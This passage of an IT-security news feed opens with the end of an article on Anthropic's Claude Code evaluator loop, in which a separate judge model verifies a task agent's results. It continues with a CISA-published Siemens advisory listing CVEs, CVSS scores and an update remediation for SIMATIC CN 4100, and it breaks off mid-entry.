a third-party observability platform — though enterprises are free to continue using one alongside Claude Code — no need for a custom log, and less reliance on post-mortem reconstruction.</p><p>Competitors like Google ADK support similar evaluation patterns. Google ADK deploys a LoopAgent, but developers have to architect that logic.</p><p>In its documentation, Anthropic said the most successful conditions usually have: </p><ul><li><p>One measurable end state: a test result, a build exit code, a file count, an empty queue</p></li><li><p>A stated check: how Claude should prove it, such as “npm test exits 0” or “git status is clean.”</p></li><li><p>Constraints that matter: anything that must not change on the way there, such as “no other test file is modified”
</p></li></ul><h2>Reliability in the loop</h2><p>For enterprises already managing sprawling tool stacks, the appeal is a native evaluator that doesn't add another system to maintain.</p><p>This is part of a broader trend in the agentic space, especially as the possibility of stateful, long-running and <a href="https://venturebeat.com/orchestration/meta-researchers-introduce-hyperagents-to-unlock-self-improving-ai-for-non-coding-tasks">self-learning agents</a> becomes more of a reality. Evaluator models, verification systems and other independent adjudication systems are starting to show up in reasoning systems and, in some cases, in coding agents like Devin or SWE-agent. </p><div></div><p>Sean Brownell, solutions director at Sprinklr, told VentureBeat in an email that there is interest in this kind of loop, where the task and judge are separate, but he feels there is nothing unique about Anthropic's approach.</p><p>"Yes, the loop works. Separating the builder from the judge is sound design because, fundamentally, you can't trust a model to judge its own homework. The model doing the work is the worst judge of whether it's done," Brownell said. "That being said, Anthropic isn't first to market. The most interesting story here is that two of the world’s biggest AI labs shipped the same command just days apart, but each of them reached entirely different conclusions about who gets to declare 'done.'"</p><p>Brownell said the loop works best "for deterministic work with a verifiable end-state like migrations, fixing broken test suites, clearing a backlog," but for more nuanced tasks or those needing design judgment, a human making that decision is far more important.</p><p>Bringing that evaluator/task split to the agent-loop level shows that companies like Anthropic are pushing agents and orchestration further toward a more auditable, observable system. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIMATIC]]></title>
<description><![CDATA[View CSAF
Summary
SIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.
The following versions of Siemens...]]></description>
<link>https://tsecurity.de/de/3517151/it-security-nachrichten/siemens-simatic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517151/it-security-nachrichten/siemens-simatic/</guid>
<pubDate>Thu, 14 May 2026 17:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-134-10.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SIMATIC are affected:</p>
<ul>
<li>SIMATIC CN 4100 vers:intdot/&lt;5.0 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Siemens</td>
<td>Siemens SIMATIC</td>
<td>NULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-47704</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res-&gt;hpo_dp_link_enc before using it [WHAT &amp; HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-47704">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57924</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem &gt;encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when -&gt;encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 ("ovl: support encoding non-decodable file handles") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of -&gt;encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels &lt; v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels &lt; v6.6.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57924">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58240</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 ("tls: fix race between async notify and socket close") took care of it. This will make the next fix easier.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58240">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6021</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6021">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6052</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in how GLib’s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn’t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6052">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-7425</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-7425">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-8916</a></h3>
<div class="csaf-accordion-content">
<p>Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-8916">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9820</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9820">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14831</a></h3>
<div class="csaf-accordion-content">
